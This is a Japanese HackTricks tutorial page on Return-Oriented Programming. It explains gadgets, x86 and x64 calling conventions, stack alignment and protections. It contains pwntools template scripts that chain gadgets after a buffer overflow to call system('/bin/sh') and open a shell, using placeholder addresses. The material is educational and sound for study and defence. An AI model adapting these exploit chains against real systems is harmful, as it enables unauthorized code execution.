ROP - Return Oriented Programing

Reading time: 14 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

Return-Oriented Programming (ROP) は、No-Execute (NX)Data Execution Prevention (DEP) のようなセキュリティ対策を回避するために使用される高度なエクスプロイト技術です。攻撃者は、シェルコードを注入して実行するのではなく、バイナリやロードされたライブラリに既に存在するコードの断片、いわゆる "gadgets" を利用します。各ガジェットは通常 ret 命令で終わり、レジスタ間でデータを移動したり、算術演算を行ったりする小さな操作を実行します。これらのガジェットを連鎖させることで、攻撃者は任意の操作を実行するペイロードを構築し、NX/DEP保護を効果的に回避できます。

ROPの動作

  1. 制御フローのハイジャック: まず、攻撃者はプログラムの制御フローをハイジャックする必要があります。通常はバッファオーバーフローを利用して、スタック上の保存された戻りアドレスを上書きします。
  2. ガジェットの連鎖: 次に、攻撃者は慎重にガジェットを選択し、目的のアクションを実行するために連鎖させます。これには、関数呼び出しの引数を設定し、関数を呼び出し(例: system("/bin/sh"))、必要なクリーンアップや追加の操作を処理することが含まれます。
  3. ペイロードの実行: 脆弱な関数が戻るとき、正当な場所に戻るのではなく、ガジェットの連鎖を実行し始めます。

ツール

通常、ガジェットは ROPgadgetropper または pwntools から直接見つけることができます (ROP)。

x86のROPチェーンの例

x86 (32ビット) 呼び出し規約

  • cdecl: 呼び出し元がスタックをクリーンアップします。関数引数は逆順(右から左)でスタックにプッシュされます。引数は右から左にスタックにプッシュされます。
  • stdcall: cdeclに似ていますが、呼び出し先がスタックをクリーンアップする責任を負います。

ガジェットの発見

まず、バイナリまたはそのロードされたライブラリ内で必要なガジェットを特定したと仮定します。私たちが興味を持っているガジェットは次のとおりです:

  • pop eax; ret: このガジェットはスタックのトップの値を EAX レジスタにポップし、その後戻ります。これにより EAX を制御できます。
  • pop ebx; ret: 上記と同様ですが、EBX レジスタ用で、EBX を制御できるようにします。
  • mov [ebx], eax; ret: EAX の値を EBX が指すメモリ位置に移動し、その後戻ります。これはしばしば write-what-where gadget と呼ばれます。
  • さらに、system() 関数のアドレスも利用可能です。

ROPチェーン

pwntools を使用して、次のように ROPチェーンの実行のためにスタックを準備します。system('/bin/sh') を実行することを目指し、チェーンが次のように始まることに注意してください:

  1. アライメント目的のための ret 命令(オプション)
  2. system 関数のアドレス(ASLRが無効で、libcが既知であると仮定、詳細は Ret2lib を参照)
  3. system() からの戻りアドレスのプレースホルダー
  4. "/bin/sh" 文字列のアドレス(system関数のパラメータ)
python
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

ROP Chain in x64 Example

x64 (64-bit) Calling conventions

  • System V AMD64 ABI コール規約を使用し、Unix系システムでは 最初の6つの整数またはポインタ引数がレジスタ RDI, RSI, RDX, RCX, R8, および R9 に渡されます。追加の引数はスタックに渡されます。戻り値は RAX に置かれます。
  • Windows x64 コール規約では、最初の4つの整数またはポインタ引数に RCX, RDX, R8, および R9 を使用し、追加の引数はスタックに渡されます。戻り値は RAX に置かれます。
  • レジスタ: 64ビットレジスタには RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP, および R8 から R15 までが含まれます。

Finding Gadgets

私たちの目的のために、RDI レジスタを設定することを可能にするガジェットに焦点を当てましょう("/bin/sh" 文字列を system() に引数として渡すため)そしてその後 system() 関数を呼び出します。以下のガジェットを特定したと仮定します:

  • pop rdi; ret: スタックのトップ値を RDI にポップし、その後戻ります。system() の引数を設定するために不可欠です。
  • ret: シンプルなリターンで、いくつかのシナリオでスタックの整列に役立ちます。

そして、system() 関数のアドレスを知っています。

ROP Chain

以下は、pwntools を使用して system('/bin/sh')x64 で実行することを目的とした ROP チェーンを設定し実行する例です:

python
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

この例では:

  • pop rdi; ret ガジェットを利用して RDI"/bin/sh" のアドレスに設定します。
  • RDI を設定した後、チェーン内の system() のアドレスに直接ジャンプします。
  • ターゲット環境が必要とする場合、ret_gadget がアライメントのために使用されます。これは、関数を呼び出す前に適切なスタックアライメントを確保するために x64 でより一般的です。

スタックアライメント

x86-64 ABI は、call命令 が実行されるときに スタックが16バイトアライメント されることを保証します。LIBC はパフォーマンスを最適化するために、SSE命令(例えば movaps)を使用し、これにはこのアライメントが必要です。スタックが正しくアライメントされていない場合(つまり RSP が16の倍数でない場合)、ROPチェーン での system への呼び出しは失敗します。これを修正するには、ROPチェーンで system を呼び出す前に ret gadget を追加するだけです。

x86とx64の主な違い

tip

x64は最初のいくつかの引数にレジスタを使用するため、 単純な関数呼び出しにはx86よりも少ないガジェットを必要とすることが多いですが、レジスタの数が増え、アドレス空間が大きくなるため、適切なガジェットを見つけてチェーンすることはより複雑になる可能性があります。x64 アーキテクチャのレジスタの数の増加とアドレス空間の拡大は、特にリターン指向プログラミング(ROP)の文脈において、エクスプロイト開発にとって機会と課題の両方を提供します。

ARM64のROPチェーンの例

ARM64の基本と呼び出し規約

この情報については、以下のページを確認してください:

Introduction to ARM64v8

ROPに対する保護

  • ASLR & PIE:これらの保護は、ガジェットのアドレスが実行間で変わるため、ROPの使用を困難にします。
  • スタックカナリア:BOFの場合、ROPチェーンを悪用するためにリターンポインタを上書きするためにスタックカナリアをバイパスする必要があります。
  • ガジェットの不足:十分なガジェットがない場合、ROPチェーンを生成することは不可能です。

ROPベースの技術

ROPは任意のコードを実行するための技術に過ぎないことに注意してください。ROPに基づいて多くのRet2XXX技術が開発されました:

  • Ret2lib:ROPを使用して、任意のパラメータでロードされたライブラリから任意の関数を呼び出します(通常は system('/bin/sh') のようなもの)。

Ret2lib

  • Ret2Syscall:ROPを使用して、execve などのシステムコールを呼び出す準備をし、任意のコマンドを実行させます。

Ret2syscall

  • EBP2Ret & EBPチェイニング:最初のものはEIPの代わりにEBPを悪用してフローを制御し、2番目はRet2libに似ていますが、この場合は主にEBPアドレスでフローが制御されます(ただしEIPも制御する必要があります)。

Stack Pivoting - EBP2Ret - EBP chaining

その他の例と参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする